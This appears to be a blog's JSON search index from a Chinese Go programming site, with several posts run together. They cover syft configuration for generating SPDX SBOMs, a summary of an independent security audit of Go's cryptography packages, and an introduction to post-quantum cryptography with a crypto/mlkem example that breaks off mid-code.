SYFT_GOLANG_MAIN_MODULE_VERSION_FROM_LD_FLAGS) from-ld-flags: true # search for semver-like strings in the binary contents (env: SYFT_GOLANG_MAIN_MODULE_VERSION_FROM_CONTENTS) from-contents: false # use the build settings (e.g. vcs.version \u0026amp; vcs.time) to craft a v0 pseudo version # (e.g. v0.0.0-20220308212642-53e6d0aaf6fb) when a more accurate version cannot be found otherwise (env: SYFT_GOLANG_MAIN_MODULE_VERSION_FROM_BUILD_SETTINGS) from-build-settings: true java: # enables Syft to use the network to fetch version and license information for packages when # a parent or imported pom file is not found in the local maven repository. # the pom files are downloaded from the remote Maven repository at \u0026#39;maven-url\u0026#39; (env: SYFT_JAVA_USE_NETWORK) use-network: # use the local Maven repository to retrieve pom files. When Maven is installed and was previously used # for building the software that is being scanned, then most pom files will be available in this # repository on the local file system. this greatly speeds up scans. when all pom files are available # in the local repository, then \u0026#39;use-network\u0026#39; is not needed. # TIP: If you want to download all required pom files to the local repository without running a full # build, run \u0026#39;mvn help:effective-pom\u0026#39; before performing the scan with syft. (env: SYFT_JAVA_USE_MAVEN_LOCAL_REPOSITORY) use-maven-local-repository: # override the default location of the local Maven repository. # the default is the subdirectory \u0026#39;.m2/repository\u0026#39; in your home directory (env: SYFT_JAVA_MAVEN_LOCAL_REPOSITORY_DIR) maven-local-repository-dir: \u0026#39;~/.m2/repository\u0026#39; # maven repository to use, defaults to Maven central (env: SYFT_JAVA_MAVEN_URL) maven-url: \u0026#39;https://repo1.maven.org/maven2\u0026#39; # depth to recursively resolve parent POMs, no limit if \u0026lt;= 0 (env: SYFT_JAVA_MAX_PARENT_RECURSIVE_DEPTH) max-parent-recursive-depth: 0 # resolve transient dependencies such as those defined in a dependency\u0026#39;s POM on Maven central (env: SYFT_JAVA_RESOLVE_TRANSITIVE_DEPENDENCIES) resolve-transitive-dependencies: false javascript: # enables Syft to use the network to fill in more detailed license information (env: SYFT_JAVASCRIPT_SEARCH_REMOTE_LICENSES) search-remote-licenses: # base NPM url to use (env: SYFT_JAVASCRIPT_NPM_BASE_URL) npm-base-url: \u0026#39;\u0026#39; # include development-scoped dependencies (env: SYFT_JAVASCRIPT_INCLUDE_DEV_DEPENDENCIES) include-dev-dependencies: linux-kernel: # whether to catalog linux kernel modules found within lib/modules/** directories (env: SYFT_LINUX_KERNEL_CATALOG_MODULES) catalog-modules: true nix: # enumerate all files owned by packages found within Nix store paths (env: SYFT_NIX_CAPTURE_OWNED_FILES) capture-owned-files: false python: # when running across entries in requirements.txt that do not specify a specific version # (e.g. \u0026#34;sqlalchemy \u0026gt;= 1.0.0, \u0026lt;= 2.0.0, != 3.0.0, \u0026lt;= 3.0.0\u0026#34;), attempt to guess what the version could # be based on the version requirements specified (e.g. \u0026#34;1.0.0\u0026#34;). When enabled the lowest expressible version # when given an arbitrary constraint will be used (even if that version may not be available/published). (env: SYFT_PYTHON_GUESS_UNPINNED_REQUIREMENTS) guess-unpinned-requirements: false registry: # skip TLS verification when communicating with the registry (env: SYFT_REGISTRY_INSECURE_SKIP_TLS_VERIFY) insecure-skip-tls-verify: false # use http instead of https when connecting to the registry (env: SYFT_REGISTRY_INSECURE_USE_HTTP) insecure-use-http: false # Authentication credentials for specific registries. Each entry describes authentication for a specific authority: # - authority: the registry authority URL the URL to the registry (e.g. \u0026#34;docker.io\u0026#34;, \u0026#34;localhost:5000\u0026#34;, etc.) (env: SYFT_REGISTRY_AUTH_AUTHORITY) # username: a username if using basic credentials (env: SYFT_REGISTRY_AUTH_USERNAME) # password: a corresponding password (env: SYFT_REGISTRY_AUTH_PASSWORD) # token: a token if using token-based authentication, mutually exclusive with username/password (env: SYFT_REGISTRY_AUTH_TOKEN) # tls-cert: filepath to the client certificate used for TLS authentication to the registry (env: SYFT_REGISTRY_AUTH_TLS_CERT) # tls-key: filepath to the client key used for TLS authentication to the registry (env: SYFT_REGISTRY_AUTH_TLS_KEY) auth: [] # filepath to a CA certificate (or directory containing *.crt, *.cert, *.pem) used to generate the client certificate (env: SYFT_REGISTRY_CA_CERT) ca-cert: \u0026#39;\u0026#39; # specify the source behavior to use (e.g. docker, registry, oci-dir, ...) (env: SYFT_FROM) from: [] # an optional platform specifier for container image sources (e.g. \u0026#39;linux/arm64\u0026#39;, \u0026#39;linux/arm64/v8\u0026#39;, \u0026#39;arm64\u0026#39;, \u0026#39;linux\u0026#39;) (env: SYFT_PLATFORM) platform: \u0026#39;\u0026#39; source: # set the name of the target being analyzed (env: SYFT_SOURCE_NAME) name: \u0026#39;\u0026#39; # set the version of the target being analyzed (env: SYFT_SOURCE_VERSION) version: \u0026#39;\u0026#39; # base directory for scanning, no links will be followed above this directory, and all paths will be reported relative to this directory (env: SYFT_SOURCE_BASE_PATH) base-path: \u0026#39;\u0026#39; file: # the file digest algorithms to use on the scanned file (options: \u0026#34;md5\u0026#34;, \u0026#34;sha1\u0026#34;, \u0026#34;sha224\u0026#34;, \u0026#34;sha256\u0026#34;, \u0026#34;sha384\u0026#34;, \u0026#34;sha512\u0026#34;) (env: SYFT_SOURCE_FILE_DIGESTS) digests: - \u0026#39;SHA-256\u0026#39; image: # allows users to specify which image source should be used to generate the sbom # valid values are: registry, docker, podman (env: SYFT_SOURCE_IMAGE_DEFAULT_PULL_SOURCE) default-pull-source: \u0026#39;\u0026#39; # (env: SYFT_SOURCE_IMAGE_MAX_LAYER_SIZE) max-layer-size: \u0026#39;\u0026#39; # exclude paths from being scanned using a glob expression (env: SYFT_EXCLUDE) exclude: [] unknowns: # remove unknown errors on files with discovered packages (env: SYFT_UNKNOWNS_REMOVE_WHEN_PACKAGES_DEFINED) remove-when-packages-defined: true # include executables without any identified packages (env: SYFT_UNKNOWNS_EXECUTABLES_WITHOUT_PACKAGES) executables-without-packages: true # include archives which were not expanded and searched (env: SYFT_UNKNOWNS_UNEXPANDED_ARCHIVES) unexpanded-archives: true cache: # root directory to cache any downloaded content; empty string will use an in-memory cache (env: SYFT_CACHE_DIR) dir: \u0026#39;~/Library/Caches/syft\u0026#39; # time to live for cached data; setting this to 0 will disable caching entirely (env: SYFT_CACHE_TTL) ttl: \u0026#39;7d\u0026#39; # show catalogers that have been de-selected (env: SYFT_SHOW_HIDDEN) show-hidden: false attest: # the key to use for the attestation (env: SYFT_ATTEST_KEY) key: \u0026#39;\u0026#39; # password to decrypt to given private key # additionally responds to COSIGN_PASSWORD env var (env: SYFT_ATTEST_PASSWORD) password: \u0026#39;\u0026#39; 也可将输出的当前配置保存为上面配置文件中的任何一个，然后做配置定制。\n此外，我们看到对于每个重要的配置，都会有一个环境变量对应，比如：\nSYFT_FORMAT_SPDX_JSON_PRETTY - spdx json格式美化 SYFT_GOLANG_SEARCH_LOCAL_MOD_CACHE_LICENSES - 在本地go module cache查找license信息 SYFT_GOLANG_SEARCH_REMOTE_LICENSES - 通过GOPROXY查找go module的license信息 如果你对license信息比较看重，我们可以基于上述环境变量配置再重新生成一次gin的SBOM：\n$export SYFT_FORMAT_SPDX_JSON_PRETTY=true $export SYFT_GOLANG_SEARCH_LOCAL_MOD_CACHE_LICENSES=true $export SYFT_GOLANG_SEARCH_REMOTE_LICENSES=true $syft . -o spdx-json=gin-sbom.spdx.json 关于 Java 和 JavaScript 项目 syft 同样能够为 Java (如 Maven, Gradle) 和 JavaScript (如 npm, yarn) 等项目生成 SPDX 或其他格式的 SBOM。其基本使用方式与 Go 项目类似，通常只需将扫描路径指向你的 Java 或 JavaScript 项目根目录即可。syft 会自动识别对应的包管理文件（如 pom.xml, package-lock.json）并解析依赖。更详细的用法和特定语言的注意事项，推荐查阅 anchore/syft 的官方文档。\n让 SPDX SBOM 清单“说话”：将 Go 项目的 SPDX JSON 转换为 Excel 生成的 SPDX JSON 文件虽然结构清晰，便于机器处理，但对于需要提交给甲方或公司安全合规团队进行人工审计的场景，Excel 格式往往更受欢迎。\n我们可以使用 Linux Foundation 维护的官方SPDX online Tools 来实现这个转换。\n通过浏览器打开https://tools.spdx.org/app/convert/，选择将spdx json转换为xlsx格式，并上传gin-sbom.spdx.json文件，点击Convert：\n转换成功后，下载生成的excel文件，该文件的内容如下截图：\n转换后的 Excel 文档通常会包含多个工作表，例如：Document Information, Package Information, Per File Information (如果分析到文件级别), Relationships, Licensing Information 等。 通过这样的表格，团队成员可以更方便地进行许可证审计、版本检查和依赖关系梳理。\n当然SPDX 社区和第三方也都提供了一些工具来帮助完成此类转换，有gui的，也有命令行，大家可以自己的需求使用不同的转换工具。\nSBOM 的更广阔图景与 Go 开发者的行动 生成 SBOM 只是第一步。它的真正价值在于融入到整个软件开发生命周期中：\nCI/CD 集成： 在构建过程中自动生成 SBOM，并进行漏洞扫描（例如与 Trivy、Grype 等工具结合）和许可证策略检查。 VEX (Vulnerability Exploitability eXchange)： 结合 VEX 文档，可以更准确地判断 SBOM 中列出的漏洞在当前产品中是否真正可被利用，减少误报。 持续监控： 定期重新生成 SBOM 并分析，以应对新出现的漏洞和组件更新。 对于我们 Gopher 而言，掌握 SBOM（特别是 SPDX 这样被广泛认可的标准）的生成和使用，不仅是满足日益增长的合规要求，更是提升自身软件质量、安全意识和专业素养的体现。Go 语言的静态编译特性和完善的模块系统 (go.mod)，使得像 syft 这样的工具能够相对容易和准确地分析依赖关系，生成高质量的 SBOM。\n小结 软件供应链安全是一项系统工程，而 SBOM 则是其中不可或缺的一块拼图。它为我们提供了一双“透视眼”，让我们能够清晰地了解软件的“前世今生”，从容应对潜在的风险。\n无论是选择 SPDX、CycloneDX，还是 SWID 或 DSDX，理解并实践 SBOM 的核心理念至关重要。利用 syft 这样的工具，为你的 Go 项目（以及其他语言项目）生成并维护一份符合 SPDX 标准的 SBOM，都应该成为我们开发实践中的一项基本功。\n现在，就动手为你的项目构建一份清晰的“软件家谱”吧！\n聊一聊，也帮个忙：\n在你的工作中，是否已经开始被要求提供 SBOM？你主要关注 SBOM 的哪些方面（安全、合规、还是其他）？你通常使用哪种 SBOM 标准？ 除了 syft，你还知道或使用过哪些优秀的 SBOM 生成或分析工具？特别是针对 SPDX 格式的。 你认为在 Go 社区，我们还可以做些什么来进一步推动 SBOM（尤其是 SPDX 标准）的普及和应用？ 欢迎在评论区留下你的经验、思考和问题。如果你觉得这篇文章对你有帮助，也请转发给你身边的开发者朋友们，让更多人了解和重视 SBOM！\n想与我进行更深入的 Go 语言、软件供应链安全与 AI 技术交流吗？ 欢迎加入我的**“Go \u0026amp; AI 精进营”知识星球**。\n我们星球见！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/22/go-sbom-practice/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-sbom-practice-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/05/22/go-sbom-practice\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/05/22/go-sbom-practice\"\u003ehttps://tonybai.com/2025/05/22/go-sbom-practice\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近年来，软件供应链安全事件频发，从 SolarWinds 到 Log4Shell，每一次都给业界敲响了警钟。在这样的背景下，软件物料清单 (SBOM, Software Bill of Materials) 的重要性日益凸显。无论是甲方爸爸的硬性要求（尤其是在2B软件交付和白盒交付场景），还是我们自身对软件透明度和安全性的追求，SBOM 都已成为现代软件开发不可或缺的一环。\u003c/p\u003e","title":"透视软件供应链安全：SBOM标准解读与Go项目生成指南"},{"content":"权威认证：Go核心密码学库通过独立安全审计 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n权威认证：Go核心密码学库通过独立安全审计 五月 21, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/21/go-crypto-audit\n大家好，我是 Tony Bai。\n信息安全是我们数字时代的基石。对于 Go 语言而言，其标准库中强大的 crypto 系列包一直是开发者构建安全应用的重要依赖。近日，Go 官方博客发布了一篇重要文章，详细介绍了一次由独立安全公司 Trail of Bits 对 Go核心密码学包进行的安全审计结果。这次审计不仅再次印证了 Go 在密码学领域的严谨投入，也揭示了 Go 在后量子密码学 (PQC) 和未来密码学 API 发展上的清晰规划。\n好消息是：审计结果非常积极！ 仅发现一个低风险问题（已在 Go 1.25 开发分支修复，且涉及的是非默认启用、Google 内部使用的 Go+BoringCrypto 集成）和少量建议性信息。这充分肯定了 Go 团队在密码学库开发中对安全性的高度重视和卓越实践。\n在这篇文章中，我们就来介绍这一对Go密码学领域具有里程碑意义的事件。\n安全审计的范围与 Go 的密码学设计原则 Trail of Bits 的审计范围广泛，涵盖了 Go 标准库中核心的加密组件，这些组件同时也是新的原生FIPS 140-3模块的验证部分。具体包括：\n密钥交换： ECDH 和后量子密码的 ML-KEM (如 crypto/mlkem 包)。 数字签名： ECDSA, RSA, 和 Ed25519。 加密算法： AES-GCM, AES-CBC, 和 AES-CTR。 哈希函数： SHA-1, SHA-2, 和 SHA-3。 密钥派生： HKDF 和 PBKDF2。 认证机制： HMAC。 密码学随机数生成器。 底层大整数和椭圆曲线实现 (包括其精巧的汇编核心)。 值得注意的是，像 TLS 和 X.509 这样的高层协议未在此次审计范围内。\nGo 团队在博客中强调，他们对密码学包的安全性保障源于多方面的努力：\n积极限制复杂性： 遵循“密码学原则”，例如优先考虑安全性而非极致性能。 彻底的测试： 采用多种技术进行广泛测试。 安全 API 的内部利用： 即使是内部包也倾向于使用安全的 API。 利用 Go 语言特性： 避免常见的内存管理问题。 注重可读性： 便于维护、代码审查和审计。 审计发现：低风险问题与建议性信息 一个低风险发现：Go+BoringCrypto 内存管理 审计中唯一被标记为具有潜在可利用性的问题 (TOB-GOCL-3) 是一个低风险问题，影响小且难以触发。该问题涉及已废弃且不受支持的、基于 CGO 的 Go+BoringCrypto 集成中的内存管理。\n关键点：\n此问题已在 Go 1.25 的开发分支中修复。 Go+BoringCrypto GOEXPERIMENT 默认不启用，且不被 Go 团队支持在 Google 外部使用。 这个问题进一步坚定了 Go 团队转向原生 FIPS 140-3 模式的决心，该模式使用纯 Go 实现的密码学包，避免了 CGO 交互的复杂性和手动内存管理的风险。 五个建议性信息：与安全最佳实践息息相关 其余五个发现本质上是建议性的 (informational)，不构成直接的安全风险，但与安全最佳实践相关。这些建议也已在 Go 1.25 开发分支中得到处理。\n这些建议主要涉及：\n潜在的计时侧信道 (Timing Side-Channels)： (TOB-GOCL-1, TOB-GOCL-2, TOB-GOCL-6) crypto/ecdh, crypto/ecdsa: 字节到字段元素的转换非恒定时间。Go 团队决定将其改为恒定时间，以防未来被意外用于处理秘密值。 crypto/ecdsa: P-256 条件否定的 Power ISA 汇编实现非恒定时间 (CVE-2025-22866)。已与 IBM 合作修复。 crypto/ed25519: 标量内部外部表示转换非恒定时间。同样改为恒定时间。 这些操作在现有用法中主要处理公开输入（如公钥），因此不被视为直接安全问题，但为了更强的鲁棒性和避免未来误用，Go 团队选择进行恒定时间修复。\n内部 API 的误用风险： (TOB-GOCL-4)\ncrypto/internal/fips140/drbg: CTR_DRBG API 存在误用风险。由于此实现范围严格限定且未公开导出，Go 团队认为可接受，并通过文档警告明确了其限制。 实现完整性： (TOB-GOCL-5)\ncrypto/pbkdf2: 未强制执行 RFC 8018 中定义的输出长度限制。虽然实际中不太可能生成超长密钥（例如，使用 SHA-256 时超过 137GB），但为符合标准，此限制已被添加。 这些发现和修复再次体现了 Go 团队对密码学安全性的极致追求和透明度。\nGo 密码学的未来：PQC、FIPS 与更易用的 API 审计结果令人鼓舞，但 Go 团队并未止步。他们正积极推进 Go 密码学库的现代化和易用性。\n1. 原生 FIPS 140-3 模式：\nGo 1.24 已经包含了一个纯 Go 实现的 FIPS 140-3 模式，目前正在接受 CMVP (Cryptographic Module Validation Program) 测试。这将为所有 Go 用户提供一个受支持的、符合 FIPS 140-3 标准的密码学模式，取代之前不受支持的 Go+BoringCrypto 集成。\n2. 后量子密码学 (PQC) 的全面推进：\n正如我们之前讨论的，PQC 是应对未来量子计算机威胁的关键。Go 团队在这方面的工作取得了显著进展：\ncrypto/mlkem 包已在 Go 1.24 中正式引入： 实现了 ML-KEM-768 和 ML-KEM-1024，为开发者提供了直接使用后量子密钥封装机制的能力。 crypto/tls 默认启用 X25519MLKEM768：**Go 1.24 的一个重大更新！ crypto/tls 包现在默认启用**了 X25519MLKEM768 混合密钥交换机制（当 tls.Config.CurvePreferences 为 nil 时）。这意味着 Go 应用可以更轻松地获得针对经典和量子攻击的双重保护。开发者可以通过设置 CurvePreferences 或 GODEBUG=tlsmlkem=0 来控制此行为。 以上两点在我的《未雨绸缪：Go开发者需要了解的后量子密码学与实现现状》一文中有详细介绍。\n3. 更易用的高层密码学 API：\nGo 团队计划引入新的、更易用的高层密码学 API，旨在降低开发者选择和使用高质量加密算法的门槛。首个目标是要简化的密码哈希 API：** 计划提供一个简单的密码哈希 API，让用户无需纠结于选择众多可能的算法（如 bcrypt, scrypt, Argon2 等），并包含机制以在技术发展时自动迁移到更新的算法。这对于提升应用安全性至关重要。\nGo 与 PQC：机遇、挑战及开发者行动 Go 语言正积极拥抱后量子密码学 (PQC) 时代，Go 1.24已将 crypto/mlkem 纳入标准库并通过 crypto/tls 默认启用 X25519MLKEM768 混合密钥交换，这为 Go 开发者带来了技术领先和安全增强的机遇。独立安全审计的积极结果进一步增强了社区对 Go 密码学库的信心。然而，PQC 技术的相对新颖性也带来了 API 演进、行业经验积累及潜在资源消耗（如密钥和签名尺寸增大）等方面的挑战。Go 社区正通过提供清晰文档、默认安全配置和推动行业实践来赋能开发者，共同塑造一个更安全的数字未来。\n面对这一变革，Go 开发者应积极学习 crypto/mlkem 的 API 和 crypto/tls 的 PQC 集成机制，理解其默认行为（特别是 X25519MLKEM768 的默认启用）及控制方式。对于需要长期数据保密性的项目，应审慎评估并开始应用这些新特性，同时关注 Go 在 PQC 领域的后续发展（如对 ML-DSA 签名算法的支持）以及规划中的易用性 API（如密码哈希 API）。利用 Go 1.24 提供的坚实工具，并结合安全审计带来的信心，为应用的未来安全做好充分准备。\n小结：安全为本，Go 在密码学领域持续精进 Go 官方对核心密码学库进行独立安全审计，并公开透明地分享结果和改进措施，再次彰显了其对安全性的坚定承诺。审计结果的积极性，结合 Go 1.24 在 PQC 和 FIPS 合规性方面的重大进展，无疑为 Go 开发者提供了更强大的信心和更先进的工具来构建安全的应用程序。\ncrypto/mlkem 的加入和 crypto/tls 中 X25519MLKEM768 的默认启用，标志着 Go 在后量子密码实用化方面迈出了重要一步。未来规划中更易用的高层密码学 API，如简化的密码哈希接口，将进一步降低安全开发的门槛，帮助开发者构建更加健壮和面向未来的系统。\n这不仅是一系列技术更新，更是 Go 社区共同迈向更安全数字时代的体现。让我们持续关注 Go 在密码学领域的努力，积极采纳最佳实践，共同为构建一个能抵御未来威胁的数字世界贡献力量。\n欢迎加入我的知识星球 “Go \u0026amp; AI 精进营”！\n在这里，我们将一起：\n追踪 Go 官方在密码学和 PQC 领域的最新动态和深度解读。 分享和讨论 Go 安全编程的实战经验和代码示例。 探讨 PQC 算法选型、API 设计和性能优化。 构建一个积极、专业的 Go 安全技术交流社群。 现在就扫描下方二维码加入星球，与更多 Gopher 一起，共同探索和构建更安全的 Go 应用，为量子未来做好准备！\n感谢您的阅读！\n如果这篇文章让您对 Go 语言的密码学安全和 PQC 进展有了更清晰的认识，请不吝点赞、转发，让更多关注 Go 和信息安全的朋友们了解到这些重要动态！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/21/go-crypto-audit/","summary":"\u003cp\u003e权威认证：Go核心密码学库通过独立安全审计 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"权威认证：Go核心密码学库通过独立安全审计"},{"content":"\n本文永久链接 – https://tonybai.com/2025/05/20/post-quantum-cryptography-in-go\n大家好，我是 Tony Bai。\n在我们享受数字时代便利的同时，信息安全始终是悬在我们头顶的达摩克利斯之剑。而这把剑，正面临着来自未来的一个巨大挑战——量子计算机。一旦实用化的大规模量子计算机问世，我们当前广泛依赖的许多经典密码体系（如 RSA、椭圆曲线密码 ECC）可能在瞬间土崩瓦解。\n这不是科幻电影，而是密码学界和全球科技巨头都在严肃对待的现实威胁。正因如此，“后量子密码学” (Post-Quantum Cryptography, 以下简称PQC) 应运而生，旨在研发能够抵御量子计算机攻击的新一代密码算法。\n作为 Go 开发者，我们或许觉得量子计算机还很遥远，但“现在记录数据，未来量子破解”的风险已然存在。更重要的是，Go 语言作为一门以简洁、高效和安全著称的现代编程语言，其核心团队早已在为这个“后量子时代”积极布局。随着 Go 1.24 的发布，这一布局取得了实质性的进展：备受期待的 crypto/mlkem 包正式加入标准库！\n那么，PQC 究竟是什么？crypto/mlkem 包为我们带来了什么？Go 语言在 PQC 的浪潮中又将扮演怎样的角色？今天，就让我们一起“未雨绸缪”，深入了解 PQC 及其在 Go 中的最新进展。\n量子风暴将至：为何我们需要 PQC？ 想象一下，你用 RSA 加密了公司的核心商业机密，或者用 ECDSA 签名了重要的合同。这些操作的安全性，都依赖于经典计算机难以在有效时间内解决某些数学难题（如大数分解、离散对数）。\n然而，量子计算机一旦足够强大，Shor 算法就能在多项式时间内攻破这些难题。这意味着：\n加密通讯不再私密： HTTPS、VPN 等都可能被破解。 数字签名不再可信： 软件更新、代码签名、身份认证都可能被伪造。 历史数据面临风险： 黑客现在就可以截获并存储加密数据，等待未来用量子计算机解密。对于需要长期保密的医疗记录、金融数据、国家机密等，这无疑是巨大威胁。 这就是我们迫切需要 PQC 的原因：寻找并标准化那些即使是量子计算机也难以破解的新密码算法。\nPQC 的曙光：NIST 标准化与主流算法 幸运的是，我们并非束手无策。在应对后量子密码学（PQC）的挑战时，美国国家标准与技术研究院（NIST）自2016年启动了PQ算法的标准化进程，旨在筛选和确立新一代的密码算法。经过多轮评审，几种优胜算法逐渐浮出水面，为未来的安全通信提供了希望。\n首先，在密钥封装/交换机制（KEM – Key Encapsulation Mechanism)方面，基于格密码学（Lattice-based cryptography）的ML-KEM被选为主要的KEM标准（FIPS 203）。这一算法的优势在于，某些实现的性能甚至超过了我们熟知的X25519密钥交换算法，为其广泛应用奠定了基础。\n简单来说，KEM的工作原理可以类比于使用一个特殊的“量子安全信封”——公钥，将对称密钥（例如AES密钥）封装后发送给对方。接收方使用对应的“量子安全钥匙”——私钥，打开信封取出密钥，随后双方便可借助这个对称密钥进行安全的通信。\n在数字签名方面，ML-DSA基于Dilithium算法，同样属于格密码学的范畴。该算法被选为主要的数字签名标准（FIPS 204），用于验证信息的来源及完整性。这为数字通信的安全性提供了重要保障。\n通过这些新兴的密码算法，NIST为抵御未来的量子攻击奠定了坚实的基础，展现了在后量子时代中应对安全挑战的希望。\nPQC 算法的挑战：更大的“块头”\n虽然 PQC 算法带来了量子抵抗性，但也普遍面临一个挑战：密钥和签名的尺寸通常比经典算法大得多。 这可能会对网络带宽、存储空间（尤其是 X.509 证书）以及资源受限设备带来一定压力。\n现有算法与 PQC 替换畅想 (简表):\n注意：上表为简化对应，实际替换过程会更复杂。\nGo语言与PQC：Go 1.24 迎来 crypto/mlkem Go 语言以其强大的 crypto 标准库和对安全性的重视而闻名。面对 PQC 的浪潮，Go 核心团队自然不会缺席。他们的策略是谨慎、务实且前瞻。\nGo 密码学库的坚实基础 在讨论 PQC 之前，值得一提的是 Go 现有密码学库的优秀设计：\n简洁易用： 尽量减少复杂性，提供安全的默认值，降低开发者误用风险。 持续现代化： 如对 RSA 后端的优化、新增 crypto/ecdh 包简化密钥交换、通过 godebug 机制平滑引入安全改进等。 golang.org/x/crypto： 作为标准库的扩展和试验田，引入 ChaCha20、Argon2 等高级算法。 在 crypto/mlkem 正式发布之前，Go 团队已在早期版本（如 Go 1.23）中进行了内部实现和集成工作。这些工作为标准库的最终引入奠定了基础，尤其是在 crypto/tls 包中探索对后量子密钥交换的支持。\nGo 1.24：crypto/mlkem 包正式发布！ 激动人心的时刻终于到来！Go 1.24 版本正式将 crypto/mlkem 包引入标准库。 这一里程碑事件由 Go 核心开发者 FiloSottile（Filippo Valsorda）在 Go Issue #70122 中提议并推动实现。\ncrypto/mlkem 包实现了 FIPS 203 标准中定义的 ML-KEM 算法，目前支持以下两个参数集：\nML-KEM-768: 这是在大多数场景中推荐使用的参数集，提供了足够的后量子安全性。 ML-KEM-1024: 主要用于满足 CNSA 2.0 等特定规范的要求。 Go 团队暂时未包含 ML-KEM-512，因为它在实际部署中较为罕见。这一选择与 BoringSSL 等其他主流密码库的实现保持一致。\n下面是crypto/mlkem 包 API的一些设计考量：\n类型安全： 为 ML-KEM-768 和 ML-KEM-1024 提供了独立的类型（如 mlkem.DecapsulationKey768 和 mlkem.EncapsulationKey768），避免了因参数集不同导致数据结构大小不匹配的问题。虽然数字后缀在 godoc 中的排序可能不理想，但这是为了类型清晰和性能考虑的权衡。 种子作为解封装密钥： 解封装密钥（私钥）支持以 64 字节的种子（”d || z” 形式）进行创建和表示。这种格式与 IETF 的方向一致，有助于标准化和互操作性。 简洁的核心操作： API 围绕密钥生成 (GenerateKey)、密钥解析 (NewDecapsulationKey/NewEncapsulationKey)、密钥字节化 (Bytes)、封装 (Encapsulate) 和解封装 (Decapsulate) 这几个核心 KEM 操作展开。 crypto/mlkem 使用示例 下面是一个演示如何使用 crypto/mlkem 包进行密钥封装和解封装的基本流程：\npackage main import ( \u0026#34;bytes\u0026#34; \u0026#34;crypto/mlkem\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; ) func main() { // === 场景：Alice 希望与 Bob 安全地共享一个密钥 === // --- Alice 的操作 --- // 1. Alice 生成一个 ML-KEM-768 私钥 (DecapsulationKey)。 // GenerateKey768 返回 (*DecapsulationKey768, error)。 privateKeyAlice, err := mlkem.GenerateKey768() if err != nil { log.Fatalf(\u0026#34;Alice: Failed to generate ML-KEM-768 decapsulation key: %v\u0026#34;, err) } // 2. 从私钥获取对应的公钥 (EncapsulationKey)。 publicKeyAlice := privateKeyAlice.EncapsulationKey() // 3. Alice 将她的公钥序列化为字节串，以便发送给 Bob。 publicKeyAliceBytes := publicKeyAlice.Bytes() fmt.Printf(\u0026#34;Alice\u0026#39;s Public Key (ML-KEM-768, %d bytes): %x...\\n\u0026#34;, len(publicKeyAliceBytes), publicKeyAliceBytes[:16]) // --- Bob 的操作 --- // Bob 接收到 Alice 的公钥字节串 publicKeyAliceBytes // 4. Bob 根据接收到的字节串创建一个公钥实例。 // NewEncapsulationKey768 返回 (*EncapsulationKey768, error)。 publicKeyReceivedByBob, err := mlkem.NewEncapsulationKey768(publicKeyAliceBytes) if err != nil { log.Fatalf(\u0026#34;Bob: Failed to parse Alice\u0026#39;s public key: %v\u0026#34;, err) } // 5. Bob 使用 Alice 的公钥来封装一个新的共享密钥。 // Encapsulate 返回 (sharedKey []byte, ciphertext []byte)，不返回 error。 sharedKeyForBob, ciphertextForAlice := publicKeyReceivedByBob.Encapsulate() fmt.Printf(\u0026#34;Bob: Generated Shared Key (ML-KEM-768, %d bytes): %x\\n\u0026#34;, len(sharedKeyForBob), sharedKeyForBob) fmt.Printf(\u0026#34;Bob: Generated Ciphertext for Alice (%d bytes): %x...\\n\u0026#34;, len(ciphertextForAlice), ciphertextForAlice[:16]) // --- Alice 的操作 --- // Alice 接收到 Bob 发送过来的密文 ciphertextForAlice // 6. Alice 使用她的私钥和收到的密文来解封装，得到共享密钥。 // Decapsulate 返回 (sharedKey []byte, error)。 sharedKeyForAlice, err := privateKeyAlice.Decapsulate(ciphertextForAlice) if err != nil { // 如果密文无效或已被篡改，Decapsulate 会返回错误。 log.Fatalf(\u0026#34;Alice: Failed to decapsulate shared key: %v\u0026#34;, err) } fmt.Printf(\u0026#34;Alice: Decapsulated Shared Key (ML-KEM-768, %d bytes): %x\\n\u0026#34;, len(sharedKeyForAlice), sharedKeyForAlice) // --- 验证 --- // 7. 验证 Alice 和 Bob 得到的共享密钥是否一致。 if bytes.Equal(sharedKeyForAlice, 